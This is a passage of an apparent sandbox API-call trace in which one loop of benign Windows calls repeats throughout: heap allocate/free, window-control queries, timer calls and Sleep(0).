(hWnd=0x0, bEnable=1) returned 0 [0033.352] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.352] timeGetTime () returned 0x11435c0 [0033.352] Sleep (dwMilliseconds=0x0) [0033.352] GetProcessHeap () returned 0x790000 [0033.352] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.352] GetProcessHeap () returned 0x790000 [0033.352] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.352] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.352] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.352] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.352] timeGetTime () returned 0x11435c0 [0033.352] Sleep (dwMilliseconds=0x0) [0033.352] GetProcessHeap () returned 0x790000 [0033.352] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.352] GetProcessHeap () returned 0x790000 [0033.352] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.352] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.352] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.352] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.352] timeGetTime () returned 0x11435c0 [0033.352] Sleep (dwMilliseconds=0x0) [0033.352] GetProcessHeap () returned 0x790000 [0033.352] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.352] GetProcessHeap () returned 0x790000 [0033.352] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.352] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.352] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.352] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.352] timeGetTime () returned 0x11435c0 [0033.352] Sleep (dwMilliseconds=0x0) [0033.352] GetProcessHeap () returned 0x790000 [0033.352] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.352] GetProcessHeap () returned 0x790000 [0033.352] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.352] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.352] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.352] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.353] timeGetTime () returned 0x11435c0 [0033.353] Sleep (dwMilliseconds=0x0) [0033.353] GetProcessHeap () returned 0x790000 [0033.353] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.353] GetProcessHeap () returned 0x790000 [0033.353] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.353] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.353] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.353] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.353] timeGetTime () returned 0x11435c0 [0033.353] Sleep (dwMilliseconds=0x0) [0033.353] GetProcessHeap () returned 0x790000 [0033.353] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.353] GetProcessHeap () returned 0x790000 [0033.353] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.353] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.353] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.353] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.353] timeGetTime () returned 0x11435c0 [0033.353] Sleep (dwMilliseconds=0x0) [0033.353] GetProcessHeap () returned 0x790000 [0033.353] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.353] GetProcessHeap () returned 0x790000 [0033.353] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.353] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.353] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.353] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.353] timeGetTime () returned 0x11435c0 [0033.353] Sleep (dwMilliseconds=0x0) [0033.353] GetProcessHeap () returned 0x790000 [0033.353] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.353] GetProcessHeap () returned 0x790000 [0033.353] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.353] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.353] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.353] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.353] timeGetTime () returned 0x11435c0 [0033.353] Sleep (dwMilliseconds=0x0) [0033.353] GetProcessHeap () returned 0x790000 [0033.354] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.354] GetProcessHeap () returned 0x790000 [0033.354] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.354] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.354] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.354] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.354] timeGetTime () returned 0x11435c0 [0033.354] Sleep (dwMilliseconds=0x0) [0033.354] GetProcessHeap () returned 0x790000 [0033.354] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.354] GetProcessHeap () returned 0x790000 [0033.354] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.354] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.354] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.354] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.354] timeGetTime () returned 0x11435c0 [0033.354] Sleep (dwMilliseconds=0x0) [0033.354] GetProcessHeap () returned 0x790000 [0033.354] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.354] GetProcessHeap () returned 0x790000 [0033.354] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.354] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.354] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.354] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.354] timeGetTime () returned 0x11435c0 [0033.354] Sleep (dwMilliseconds=0x0) [0033.354] GetProcessHeap () returned 0x790000 [0033.354] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.354] GetProcessHeap () returned 0x790000 [0033.354] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.354] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.354] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.354] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.354] timeGetTime () returned 0x11435c0 [0033.354] Sleep (dwMilliseconds=0x0) [0033.354] GetProcessHeap () returned 0x790000 [0033.354] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.354] GetProcessHeap () returned 0x790000 [0033.354] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.355] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.355] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.355] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.355] timeGetTime () returned 0x11435c0 [0033.355] Sleep (dwMilliseconds=0x0) [0033.355] GetProcessHeap () returned 0x790000 [0033.355] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.355] GetProcessHeap () returned 0x790000 [0033.355] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.355] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.355] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.355] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.355] timeGetTime () returned 0x11435c0 [0033.355] Sleep (dwMilliseconds=0x0) [0033.355] GetProcessHeap () returned 0x790000 [0033.355] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.355] GetProcessHeap () returned 0x790000 [0033.355] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.355] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.355] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.355] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.355] timeGetTime () returned 0x11435c0 [0033.355] Sleep (dwMilliseconds=0x0) [0033.355] GetProcessHeap () returned 0x790000 [0033.355] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.355] GetProcessHeap () returned 0x790000 [0033.355] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.355] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.355] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.355] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.355] timeGetTime () returned 0x11435c0 [0033.355] Sleep (dwMilliseconds=0x0) [0033.355] GetProcessHeap () returned 0x790000 [0033.355] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.355] GetProcessHeap () returned 0x790000 [0033.355] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.355] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.355] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.355] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.356] timeGetTime () returned 0x11435c0 [0033.356] Sleep (dwMilliseconds=0x0) [0033.356] GetProcessHeap () returned 0x790000 [0033.356] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.356] GetProcessHeap () returned 0x790000 [0033.356] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.356] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.356] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.356] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.356] timeGetTime () returned 0x11435c0 [0033.356] Sleep (dwMilliseconds=0x0) [0033.356] GetProcessHeap () returned 0x790000 [0033.356] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.356] GetProcessHeap () returned 0x790000 [0033.356] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.356] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.356] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.356] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.356] timeGetTime () returned 0x11435c0 [0033.356] Sleep (dwMilliseconds=0x0) [0033.356] GetProcessHeap () returned 0x790000 [0033.356] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.356] GetProcessHeap () returned 0x790000 [0033.356] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.356] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.356] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.356] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.356] timeGetTime () returned 0x11435c0 [0033.356] Sleep (dwMilliseconds=0x0) [0033.356] GetProcessHeap () returned 0x790000 [0033.356] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.356] GetProcessHeap () returned 0x790000 [0033.356] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.356] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.356] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.356] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.356] timeGetTime () returned 0x11435c0 [0033.356] Sleep (dwMilliseconds=0x0) [0033.356] GetProcessHeap () returned 0x790000 [0033.357] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.357] GetProcessHeap () returned 0x790000 [0033.357] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.357] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.357] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.357] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.357] timeGetTime () returned 0x11435cf [0033.357] Sleep (dwMilliseconds=0x0) [0033.360] GetProcessHeap () returned 0x790000 [0033.360] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.360] GetProcessHeap () returned 0x790000 [0033.360] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.360] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.360] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.360] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.360] timeGetTime () returned 0x11435cf [0033.360] Sleep (dwMilliseconds=0x0) [0033.360] GetProcessHeap () returned 0x790000 [0033.360] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.360] GetProcessHeap () returned 0x790000 [0033.360] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.361] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.361] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.361] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.361] timeGetTime () returned 0x11435cf [0033.361] Sleep (dwMilliseconds=0x0) [0033.361] GetProcessHeap () returned 0x790000 [0033.361] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.361] GetProcessHeap () returned 0x790000 [0033.361] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.361] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.361] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.361] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.361] timeGetTime () returned 0x11435cf [0033.361] Sleep (dwMilliseconds=0x0) [0033.361] GetProcessHeap () returned 0x790000 [0033.361] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.361] GetProcessHeap () returned 0x790000 [0033.361] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.361] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.361] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.361] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.361] timeGetTime () returned 0x11435cf [0033.361] Sleep (dwMilliseconds=0x0) [0033.361] GetProcessHeap () returned 0x790000 [0033.361] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.361] GetProcessHeap () returned 0x790000 [0033.361] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.361] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.361] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.361] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.361] timeGetTime () returned 0x11435cf [0033.361] Sleep (dwMilliseconds=0x0) [0033.361] GetProcessHeap () returned 0x790000 [0033.361] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.361] GetProcessHeap () returned 0x790000 [0033.361] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.361] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.361] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.361] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.362] timeGetTime () returned 0x11435cf [0033.362] Sleep (dwMilliseconds=0x0) [0033.362] GetProcessHeap () returned 0x790000 [0033.362] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.362] GetProcessHeap () returned 0x790000 [0033.362] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.362] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.362] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.362] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.362] timeGetTime () returned 0x11435cf [0033.362] Sleep (dwMilliseconds=0x0) [0033.362] GetProcessHeap () returned 0x790000 [0033.362] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.362] GetProcessHeap () returned 0x790000 [0033.362] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.362] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.362] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.362] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.362] timeGetTime () returned 0x11435cf [0033.362] Sleep (dwMilliseconds=0x0) [0033.362] GetProcessHeap () returned 0x790000 [0033.362] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.362] GetProcessHeap () returned 0x790000 [0033.362] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.362] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.362] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.362] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.362] timeGetTime () returned 0x11435cf [0033.362] Sleep (dwMilliseconds=0x0) [0033.362] GetProcessHeap () returned 0x790000 [0033.362] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.362] GetProcessHeap () returned 0x790000 [0033.362] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.362] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.362] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.362] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.362] timeGetTime () returned 0x11435cf [0033.362] Sleep (dwMilliseconds=0x0) [0033.362] GetProcessHeap () returned 0x790000 [0033.363] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.363] GetProcessHeap () returned 0x790000 [0033.363] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.363] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.363] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.363] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.363] timeGetTime () returned 0x11435cf [0033.363] Sleep (dwMilliseconds=0x0) [0033.363] GetProcessHeap () returned 0x790000 [0033.363] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.363] GetProcessHeap () returned 0x790000 [0033.363] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.363] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.363] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.363] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.363] timeGetTime () returned 0x11435cf [0033.363] Sleep (dwMilliseconds=0x0) [0033.363] GetProcessHeap () returned 0x790000 [0033.363] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.363] GetProcessHeap () returned 0x790000 [0033.363] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.363] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.363] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.363] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.363] timeGetTime () returned 0x11435cf [0033.363] Sleep (dwMilliseconds=0x0) [0033.363] GetProcessHeap () returned 0x790000 [0033.363] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.363] GetProcessHeap () returned 0x790000 [0033.363] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.363] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.363] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.363] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.363] timeGetTime () returned 0x11435cf [0033.363] Sleep (dwMilliseconds=0x0) [0033.363] GetProcessHeap () returned 0x790000 [0033.363] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.363] GetProcessHeap () returned 0x790000 [0033.363] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.364] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.364] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.364] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.364] timeGetTime () returned 0x11435cf [0033.364] Sleep (dwMilliseconds=0x0) [0033.364] GetProcessHeap () returned 0x790000 [0033.364] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.364] GetProcessHeap () returned 0x790000 [0033.364] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.364] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.364] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.364] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.364] timeGetTime () returned 0x11435cf [0033.364] Sleep (dwMilliseconds=0x0) [0033.364] GetProcessHeap () returned 0x790000 [0033.364] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.364] GetProcessHeap () returned 0x790000 [0033.364] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.364] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.364] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.364] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.364] timeGetTime () returned 0x11435cf [0033.364] Sleep (dwMilliseconds=0x0) [0033.364] GetProcessHeap () returned 0x790000 [0033.364] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.364] GetProcessHeap () returned 0x790000 [0033.364] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.364] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.364] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.364] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.364] timeGetTime () returned 0x11435cf [0033.364] Sleep (dwMilliseconds=0x0) [0033.364] GetProcessHeap () returned 0x790000 [0033.364] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.364] GetProcessHeap () returned 0x790000 [0033.364] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.364] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.364] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.364] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.365] timeGetTime () returned 0x11435cf [0033.365] Sleep (dwMilliseconds=0x0) [0033.365] GetProcessHeap () returned 0x790000 [0033.365] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.365] GetProcessHeap () returned 0x790000 [0033.365] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.365] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.365] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.365] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.365] timeGetTime () returned 0x11435cf [0033.365] Sleep (dwMilliseconds=0x0) [0033.365] GetProcessHeap () returned 0x790000 [0033.365] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.365] GetProcessHeap () returned 0x790000 [0033.365] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.365] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.365] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.365] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.365] timeGetTime () returned 0x11435cf [0033.365] Sleep (dwMilliseconds=0x0) [0033.365] GetProcessHeap () returned 0x790000 [0033.365] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.365] GetProcessHeap () returned 0x790000 [0033.365] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.365] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.365] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.365] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.365] timeGetTime () returned 0x11435cf [0033.365] Sleep (dwMilliseconds=0x0) [0033.365] GetProcessHeap () returned 0x790000 [0033.365] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.365] GetProcessHeap () returned 0x790000 [0033.365] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.365] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.365] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.365] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.365] timeGetTime () returned 0x11435cf [0033.365] Sleep (dwMilliseconds=0x0) [0033.365] GetProcessHeap () returned 0x790000 [0033.366] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.366] GetProcessHeap () returned 0x790000 [0033.366] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.366] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.366] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.366] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.366] timeGetTime () returned 0x11435cf [0033.366] Sleep (dwMilliseconds=0x0) [0033.366] GetProcessHeap () returned 0x790000 [0033.366] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.366] GetProcessHeap () returned 0x790000 [0033.366] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.366] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.366] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.366] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.366] timeGetTime () returned 0x11435cf [0033.366] Sleep (dwMilliseconds=0x0) [0033.366] GetProcessHeap () returned 0x790000 [0033.366] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.366] GetProcessHeap () returned 0x790000 [0033.366] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.366] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.366] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.366] timeBeginPeriod (uPeriod=0x0) 